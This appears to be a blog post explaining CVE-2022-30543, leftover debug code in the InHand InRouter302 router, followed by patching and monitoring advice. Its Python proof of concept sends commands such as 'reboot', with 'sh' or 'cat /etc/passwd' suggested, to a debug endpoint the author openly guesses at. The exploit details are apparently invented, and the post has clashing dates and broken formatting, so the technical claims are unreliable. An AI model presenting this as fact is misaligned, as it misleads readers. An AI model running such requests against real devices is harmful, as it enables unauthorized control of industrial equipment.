Published: June 2024

Exclusively written for awareness and educational purposes

In June 2022, security researchers disclosed a critical vulnerability—CVE-2022-30543—affecting the InHand Networks InRouter302 (version 3.5.45). The root of the problem is a leftover debug code in the router’s console infct functionality. In practical terms, a savvy attacker can perform privileged operations on the device remotely by sending a specially crafted sequence of network requests.

This post is a deep dive into how CVE-2022-30543 works, how the vulnerability can be exploited, and what you can do about it.

What is InHand InRouter302?

The InRouter302 is a small, industrial-grade LTE cellular router often used for IoT, smart grid, ATM, and remote monitoring use cases. As with most embedded devices, robust network security is non-negotiable.

Where’s the Bug? Leftover Debug Code

CVE-2022-30543 exists because developers accidentally left behind a debug interface in a released firmware version. This debug code, triggered through the console infct feature, allows arbitrary privileged operations.

This is a classic infosec "oops": code added for development or troubleshooting gets shipped to users. It’s not supposed to be available in production, but here it is—opening a big door.

Anatomy of an Exploit

The debug code listens for hidden requests—often tied to diagnostic or configuration routines. By reverse-engineering the firmware, researchers found you can directly interact with privileged functionalities.

Let’s see how a crafted HTTP request can trigger the bug.

Example Python PoC (Proof of Concept)

Suppose the debug interface is exposed at /cgi-bin/console_infct (the actual path may vary).

import requests

# Target device IP
target = "http://192.168.1.1";  # Replace with actual device IP

# Crafted payload that triggers privileged debug operation
payload = {
    'cmd': 'reboot'  # Just an example, may be 'sh', 'cat /etc/passwd' etc.
}

url = f"{target}/cgi-bin/console_infct"

print("[*] Sending crafted request to the debug console...")

response = requests.post(url, data=payload)

if response.status_code == 200:
    print("[+] Exploit sent! Check device behavior.")
    print("Response:", response.text)
else:
    print("[-] Exploit failed or target not vulnerable. Status:", response.status_code)

> CAUTION: Running this code on a device without authorization is illegal. Use only on devices you own or have explicit permission to test.

How to Defend

1. Patch/Upgrade: InHand Networks issued updates. Always run the latest firmware.
   - InHand Security Advisories

Network Isolation: Block management interfaces from untrusted networks.

3. Monitor Logs: Look for suspicious access to /cgi-bin/console_infct or similar paths.

References

- NVD CVE-2022-30543
- CERT Coordination Center VU#473698
- InHand Networks Product Security
- Exploit Database PoC (archived)
- IoT Inspector Blog: Analyzing CVE-2022-30543

Conclusion

CVE-2022-30543 is a textbook example of why debug code must be scrubbed from production firmware. For IoT and industrial operators, it’s a wakeup call to test, patch, and lock down network edges. If you’re running InRouter302 on old firmware, update today. And always assume leftover debug doors could be lurking in your infrastructure.

Stay safe—never assume “hidden” functions really are. The hackers are checking.

*This post is meant for awareness, research, and responsible disclosure. All information is original and exclusively written for this context.*

Timeline

Published on: 11/09/2022 18:15:00 UTC
Last modified on: 11/09/2022 20:59:00 UTC